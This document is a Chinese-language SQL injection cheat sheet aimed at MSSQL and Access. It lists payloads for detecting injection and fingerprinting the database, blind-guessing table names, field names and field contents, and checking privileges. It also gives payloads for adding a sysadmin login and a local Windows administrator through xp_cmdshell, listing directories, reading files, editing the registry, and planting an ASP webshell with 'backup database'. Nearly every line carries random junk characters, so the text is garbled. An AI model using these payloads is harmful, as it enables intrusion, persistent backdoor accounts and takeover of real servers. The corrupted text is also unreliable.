1.判断是否有注入;and 1=1 ;and 1=2 N[}XLhbt
2.初步判断是否是mssql ;and user>0 Kg@9kJB
Oz9k.[j(
3.注入参数是字符'and [查询条件] and ''=' ubhem(p#
oh;F]*k6
4.搜索时没过滤参数的'and [查询条件] and '%25'=' b>%I=H%g
EMH?z2iGd
5.判断数据库系统 `.dTkL
^}8_tZs8\
;and (select count(*) from sysobjects)>0 mssql p;n )YY$
U6=m4]~Z
;and (select count(*) from msysobjects)>0 access )_EobE\
Ze$:-7Czl
Iw"?%k\U
}}qR~.[
6.猜数据库 ;and (select Count(*) from [数据库名])>0 ji(S ?^
D0QXvrf
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 @D"1}CW
#k=!>%+E
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0
xuelo0h,
"0L@cOyG
9.(1)猜字段的ascii值(access) ?NI)3-l
%!rsu-W:Y
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 Yb =8\<;
i=2+1;K
(2)猜字段的ascii值(mssql) #U/B,`= >
2$NP46z}
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 RpLm'~N'
q@(N 38D
10.测试权限结构(mssql) ]?)zH:2)
PJAir8
}qz58]fyx
rI]:| k
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- )KRO=~Y
]Wa,a
T'
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- n.lp
ena
bM^'q
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- 72-@!Z0e
`hlyN]L
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- y+:<
cDTDim1F
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- GW
$iK@
<{-DYRiN
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- 6!Isz1.re
N7#GK]n%/}
;and 1=(select IS_MEMBER('db_owner'));-- gdC=SFb b
)QZ?Bf
6ldDt?iSg
fQx 4/4j
11.添加mssql和系统的帐户 R4qk/@]t
DTIy/
;exec master.dbo.sp_addlogin username;-- m dC. FO-
;exec master.dbo.sp_password null,username,password;-- t%dPj8~
*/8\Z46z
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- oW+R:2I~O
FySK&
;exec master.dbo.xp_cmdshell 'net user username password orU4{.e
1g/mzC
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- qbAoab53
alu`T
c~
;exec master.dbo.xp_cmdshell 'net user username password /add';-- /|DQ_<*
<g %xo"
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- *smo{!0Gg
`aI%laj&M
b'Uaj`Sn
:!A@B.E
12.(1)遍历目录 z(%Zji@!N
W4YC5ZH{l
;create table dirs(paths varchar(100), id int) 4*dT|NU
"1#,d#Q $
;insert dirs exec master.dbo.xp_dirtree 'c:\' 1%=,J'AH
i'EXylb
;and (select top 1 paths from dirs)>0 7I.[1V`
\dc`}}Lc
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) IaF79}^
d~_OWCg`
L |H{;r'
z`_N|iEd
(2)遍历目录 da<1,hF
i/Hi
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- (^Ln|3iz
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 -zTeIvcy5
)t.q[O`
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 i gQyn|
=Tj0dfO|"
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 FVpe*]
3sw1y
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 ~|!lC}!IKL
eX$Biv1N
0!zWXKX
2Vi[qS^
13.mssql中的存储过程 Z3/ zUtgs
O,;SA
xp_regenumvalues 注册表根键, 子键 M>^IQ
;}PL/L$L6;
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 AUq?<Vg\
/;>EyWW
xp_regread 根键,子键,键值名
6$Dbeb
PQs9@]w[
;exec xp_regread 2KX *x_-
}$UFc1He\J
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 P6?Q;-\q0
w7W-=\Hvh
xp_regwrite 根键,子键, 值名, 值类型, 值 #nd,c n
#*`|}_6L
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 8_LDS
:H87x?e[
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 AuCVpDH
bd9c/>&
xp_regdeletevalue 根键,子键,值名 s0h)~z
0'<S7?~|
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 $pKS['J0
BZBsE
:(F
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 WV% KoM,%
&0"`\~lA
+(<f(]bG
)Qc$UI8L
14.mssql的backup创建webshell *Zvw&y*
R}]FIu
use model KXGs'D
c2U>89LlZ
create table cmd(str image); ZAP+jX;
I@B7uFj
insert into cmd(str) values (''); bM'AD[
Ob6vg^#
backup database model to disk='c:\l.asp'; ~DD/\V
,yF)7fN
~:@H6Ke[
w*}9;l
15.mssql内置函数 l1??b
JB|I/\(A
;and (select @@version)>0 获得Windows的版本号 B?M+`;
y/FisX
;and user_name()='dbo' 判断当前系统的连接用户是不是sa 6IX!9I\sT
7-dwr?j7
;and (select user_name())>0 爆当前系统的连接用户 gM*s/,;O"
Vh<`MS0X
;and (select db_name())>0 得到当前连接的数据库 7~16letQ
i~;8'>:|,M
ZUu^==a
u%pief
16.简洁的webshell cm]]9z_<
oxzNV&D[{`
use model 7I|%GA_
1mX*0>
create table cmd(str image); 1 W0; YcT]
0D'Wr(U(
insert into cmd(str) values (''); |^F-.Z
eZ!k'bS=
backup database model to disk='g:\wwwtest\l.asp';